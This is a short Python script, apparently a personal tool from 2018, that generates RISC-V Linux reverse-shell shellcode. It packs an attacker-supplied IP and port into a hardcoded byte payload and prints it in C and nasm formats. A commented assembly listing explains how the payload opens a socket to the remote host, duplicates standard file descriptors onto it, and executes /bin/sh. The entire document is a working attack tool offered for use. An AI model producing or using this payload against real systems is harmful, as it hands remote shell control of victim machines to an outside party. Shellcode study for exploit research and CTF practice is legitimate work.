#!/usr/bin/python3
# Naive RISC-V Linux reverse shell generator      // thomask.sdf.org
# 2018-11-02

import ipaddress
import sys

if len(sys.argv) != 3:
    print(f"[-] Usage: {sys.argv[0]} <ip> <port>")
    sys.exit(1)

try:
    ip = ipaddress.IPv4Address(sys.argv[1])
    port = int(sys.argv[2])
    if port < 0 or port > 65535:
        raise ValueError("Port not in range 0-65535")
except ValueError as e:
    print("[-]", e)
    sys.exit(1)

evil = (b"\x09\x45\x85\x45\x01\x46\x93\x08\x60\x0c\x73\x00\x00\x00\xaa\x82"
    b"\xef\x05\xa0\x03\x41\x46\x95\x08\x73\x00\x00\x00\x01\x46\x89\x45"
    b"\xe1\x48\x16\x85\x73\x00\x00\x00\xfd\x15\xe3\xdc\x05\xfe\x6f\x05"
    b"\x00\x01\x81\x45\x01\x46\x93\x08\xd0\x0d\x73\x00\x00\x00\x6f\xf5"
    b"\x5f\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xef\xf5\xbf\xfc\x02\x00")
evil += port.to_bytes(2, byteorder='big')
evil += ip.packed

print("[+] C format")
print("".join(["\\x{:02x}".format(c) for c in evil]))
print("[+] nasm format")
print(",".join(["0x{:02x}".format(c) for c in evil]))

#        .global _start
#        .text
#
#_start:
#        li a0,2         # AF_INET
#        li a1,1         # SOCK_STREAM
#        li a2,0         # protocol = 0 for tcp
#        li a7,198       # socket
#        ecall
#
#        mv t0,a0        # save socket fd to t0
#        jal a1,get_sa   # load sockaddr ptr into a1
#connect:
#        li a2,16        # len(sockaddr) - final 8 bytes are garbage
#        addi a7,a7,5    # 203 = connect
#        ecall
#
#        li a2,0         # flags
#        li a1,2         # destination fd 2
#        li a7,24        # dup3
#re_dup3:
#        mv a0,t0        # specify the socket we want to dup
#        ecall
#
#        addi a1,a1,-1   # decrement fd and continue until <0
#        bgez a1,re_dup3
#
#        jal a0,get_path # load pathname string ptr into a0
#execve:
#        li a1,0         # null argv
#        li a2,0         # null envp
#        li a7,221       # execve
#        ecall
#
#get_path:
#        jal a0,execve
#        .ascii "/bin/sh\0"
#
#get_sa:
#        jal a1,connect
#sockaddr:
#        .byte 0x02, 0x00
#        .byte 0x11, 0x5c                # port
#        .byte 0x7f, 0x01, 0x01, 0x01    # ip
